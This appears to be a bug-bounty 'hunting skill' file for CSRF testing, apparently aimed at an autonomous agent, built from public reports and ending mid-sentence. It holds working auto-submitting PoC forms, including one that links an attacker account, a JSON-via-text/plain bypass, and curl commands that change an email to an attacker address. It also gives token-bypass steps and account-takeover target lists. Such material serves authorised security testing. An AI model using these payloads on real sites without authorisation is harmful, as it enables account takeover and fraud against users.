Use when hunting modern CSRF — heavy emphasis on chain-to-ATO patterns.\nsources: github, hackerone_public, bugcrowd_public, github_security_advisories\nreport_count: 18\n---\n\n## Shortcut: a raw HTTP client beats a real cross-origin page for header-check CSRF\n\nA raw HTTP client (curl, Burp Repeater, any scripting client) is not a browser: it will send\nwhatever `Origin`/`Referer` header VALUE you set, from any path, on the same connection as your\nauthenticated cookie. Many apps that claim to defend against CSRF only do a naive **string check**\non the incoming `Origin`/`Referer` header (does it contain/equal some expected value?) rather than\nreal same-origin enforcement — you can satisfy that check directly by setting the header, with no\nactual cross-site delivery (hosting an HTML page, a headless browser) required. This is faster and\nmore reliable than building a real attacker page for this exact pattern:\n```\nPOST /profile HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nOrigin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example\nCookie: <authenticated session>\n\nusername=csrf_poc\n```\nIf some text names a SPECIFIC origin/domain as the \"expected\" attacker page, that literal value is\noften exactly what the server's check is looking for — try it verbatim in `Origin` (fall back to\n`Referer` if `Origin` alone doesn't flip it). Only build a real cross-origin page (actual browser\ndelivery) when the target does genuine SameSite/fetch-based origin enforcement that a spoofed header\ncan't satisfy.\n\n## Autonomous Testing Priority\n\n**CSRF only matters on state-changing actions that a browser could be tricked into making cross-site.**\n\n**Testing flow:**\n1. **GET the form endpoint** to establish a baseline and check what fields exist (look for hidden `csrf_token`, `authenticity_token`, `_token`, `csrfmiddlewaretoken` fields).\n2. **POST the state-changing action without any CSRF token field.** Send only the functional parameters (email, amount, etc.).\n3. **Use a \"simple-request\" Content-Type** — `application/x-www-form-urlencoded`, `multipart/form-data`, OR `text/plain` are the three CORS \"simple\" content-types a cross-origin form can send with no preflight. A JSON endpoint is CSRF-resistant **only if the server rejects those** — if it also accepts a `text/plain` body (common), craft a `text/plain` payload that parses as valid JSON (see the JSON-CSRF-via-text/plain section). Don't skip a JSON endpoint on the assumption that `application/json` alone is protective.\n4. **If the action succeeds (2xx, no \"invalid token\" error) → CSRF is confirmed.**\n\n**High-value targets (in order of impact):**\n- Email/password change → account takeover\n- Money transfer or payment → financial fraud\n- Admin actions (role assignment, user deletion)\n- OAuth social-account linking → persistent ATO\n\n**Token bypass techniques when a token IS present:**\n- Omit the token field entirely — some frameworks only validate if the field exists, not if it's absent\n- Send an empty value (`_token=`) — some validate format, not presence\n- Copy a token from another session — some tokens aren't tied to the session\n\n**Scope:** Don't test CSRF on login forms (no existing session to exploit), logout (no real impact), or read-only GET endpoints.\n\n---\n\n## Crown Jewel Targets\n\nCSRF becomes high-value when it touches **state-changing actions with account-level or financial consequences**. The highest-paying targets are:\n\n- **Account takeover vectors**: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens\n- **Authentication infrastructure**: Login CSRF, session fixation via CSRF, forced account association\n- **API endpoints accepting cross-origin POST**: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement\n- **Third-party integrations**: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections\n- **Social platforms**: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact\n\n**Asset types that pay most:** Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.\n\n---\n\n## Attack Surface Signals\n\n### URL Patterns\n```\n/oauth/authorize?RelayState=\n/accounts/link\n/import/friends\n/api/v*/heartbeat\n/api/v*/collect\n/monitoring/* (Grafana, Prow, Prometheus)\n/auth/saml/callback\n/connect/* (social integrations)\n```\n\n### Response Header Signals\n```\n# Missing or weak SameSite cookie attributes\nSet-Cookie: session=abc123; HttpOnly        # no SameSite = vulnerable\nSet-Cookie: session=abc123; SameSite=None   # explicitly allows cross-site\n\n# Missing CSRF headers\n# No X-Frame-Options or permissive CORS\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true      # dangerous combo\n```\n\n### JS / DOM Patterns\n```javascript\n// Static or predictable CSRF tokens\nmeta[name=\"csrf-token\"]   // grep if value changes across sessions\nauthenticity_token        // Rails — check if reused across page loads\n\n// JSON endpoints without Content-Type enforcement\nfetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})\n\n// No CSRF token in form at all\n<form method=\"POST\" action=\"/accounts/link\">  // no hidden token field\n```\n\n### Tech Stack Signals\n- **Rails apps**: Look for `authenticity_token` — test if it's static per session\n- **Django apps**: Check `csrfmiddlewaretoken` — test cross-user/session reuse\n- **Grafana instances**: CVE-2022-21703 — check version via `/api/health`\n- **SAMLv2/OIDC flows**: `RelayState` parameter rarely validated\n- **Express/Node APIs**: Often skip CSRF middleware on `/api/*` routes\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Map all state-changing endpoints** — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.\n\n2. **Check cookie SameSite attributes** — In DevTools → Application → Cookies. Flag any session cookie without `SameSite=Strict` or `Lax`.\n\n3. **Test token staticness** — Log in twice (different sessions or incognito). Compare `authenticity_token` / `csrfmiddlewaretoken` / `csrf-token` values across:\n   - Same session, different page loads (should be different)\n   - Different sessions for same user\n   - Different users entirely\n\n4. **Test token omission** — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.\n\n5. **Test token substitution** — Replace the token with one from a different session. Server accepting it = broken validation.\n\n6. **Test JSON endpoints for form-POST CSRF** — Check if Content-Type is enforced:\n   - Send `application/x-www-form-urlencoded` to a JSON endpoint\n   - Send `text/plain` with a JSON body\n   - If accepted, HTML form can trigger it cross-origin\n\n7. **Hunt OAuth/SSO RelayState** — Intercept SAML/OIDC flows. Test if `RelayState` is validated for same-origin. Inject external URLs.\n\n8. **Check social linking flows** — Every \"connect your X account\" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.\n\n9. **Test third-party dashboards on subdomains** — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.\n\n10. **Build PoC HTML page** — Host on a different origin, fire the request, confirm cookies are sent and action executes.\n\n---\n\n## Payload & Detection Patterns\n\n### Basic CSRF PoC (Form POST)\n```html\n<html>\n<body onload=\"document.forms[0].submit()\">\n  <form method=\"POST\" action=\"https://target.com/api/v1/account/link\">\n    <input type=\"hidden\" name=\"provider\" value=\"attacker_account_id\" />\n    <input type=\"hidden\" name=\"token\" value=\"oauth_token_here\" />\n  </form>\n</body>\n</html>\n```\n\n### JSON CSRF via text/plain (bypasses Content-Type check)\n```html\n<html>\n<body onload=\"document.forms[0].submit()\">\n  <form method=\"POST\" action=\"https://target.com/api/heartbeat\"\n        enctype=\"text/plain\">\n    <!-- browser sends: {\"status\":\"ok\",\"x\":\"=padding\"} -->\n    <input type=\"hidden\" name='{\"status\":\"ok\",\"x\":\"' value='padding\"}' />\n  </form>\n</body>\n</html>\n```\n\n### curl: Test CSRF token omission\n```bash\n# Capture a valid request, then replay without token\ncurl -s -X POST https://target.com/settings/email \\\n  -H \"Cookie: session=YOUR_SESSION\" \\\n  -d \"email=attacker@evil.com\" \\\n  -v 2>&1 | grep -E \"HTTP|location|error\"\n```\n\n### curl: Test token reuse across sessions\n```bash\n# Get token from session A\nTOKEN_A=$(curl -s https://target.com/settings -H \"Cookie: session=SESSION_A\" \\\n  | grep -oP 'authenticity_token[^\"]*value=\"\\K[^\"]+')\n\n# Use token A in session B's request\ncurl -s -X POST https://target.com/settings/update \\\n  -H \"Cookie: session=SESSION_B\" \\\n  -d \"authenticity_token=$TOKEN_A&email=test@test.com\" \\\n  -v\n```\n\n### Grep patterns for recon\n```bash\n# Find CSRF token fields in HTML responses\ngrep -Eo 'name=\"(csrf|_token|authenticity_token|csrfmiddlewaretoken)\"[^>]*value=\"[^\"]+\"'\n\n# Find forms without CSRF tokens\ngrep -B5 -A20 '<form method=\"[Pp][Oo][Ss][Tt]\"' response.html | grep -L \"csrf\\|token\\|nonce\"\n\n# Check SameSite in response headers\ncurl -sI https://target.com/login | grep -i \"set-cookie\"\n\n# Find RelayState parameters\ngrep -r \"RelayState\" --include=\"*.js\" .\n```\n\n### Grafana CVE-2022-21703 version check\n```bash\ncurl -s https://monitoring.target.com/api/health | jq '.version'\n# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15\n```\n\n---\n\n## Common Root Causes\n\n1. **Static CSRF tokens per session** — Developers generate one token at login and reuse it. Airbnb bug: `authenticity_token` was the same across all page loads for a session, making it trivially leakable.\n\n2. **Token not tied to user identity** — Token is valid server-wide or rotates on a schedule, not per-user/session. Mozilla bug: `csrftoken` reusable across users.\n\n3. **Missing token on \"secondary\" endpoints** — Developers protect login/signup but forget API endpoints, import flows, or webhook handlers.\n\n4. **JSON API assumption of safety** — Belief that `Content-Type: application/json` prevents CSRF. It does via CORS preflight — unless the server also accepts `text/plain` or `application/x-www-form-urlencoded`.\n\n5. **SameSite=None for cross-site embeds** — Developers set `SameSite=None` to support iframe embeds or third-party integrations, inadvertently re-enabling CSRF.\n\n6. **OAuth RelayState not validated** — Developers implement SAML/OIDC but treat `RelayState` as a redirect hint, not a CSRF state parameter requiring cryptographic binding.\n\n7. **Framework misconfiguration** — CSRF middleware excluded for `/api/*` routes in Django/Rails because \"API clients don't need it,\" but browser-based JS clients do.\n\n8. **Third-party software defaults** — Grafana, Kibana, Jenkins shipped with weak or no CSRF protection in older versions; teams don't patch or check.\n\n---\n\n## Bypass Techniques\n\n### Defense: SameSite=Lax cookies\n**Bypass:** Top-level navigation GET requests still work. If the sensitive action can be triggered via GET (or if a redirect chain converts POST→GET), Lax doesn't protect it. Also: subdomains can still set cookies for parent domain.\n\n### Defense: CSRF token present\n**Bypasses:**\n- Token is static per session — steal via XSS, Referer leakage, or cached page\n- Token not validated server-side — just remove it an","tagline":"Hunting skill for csrf vulnerabilities.
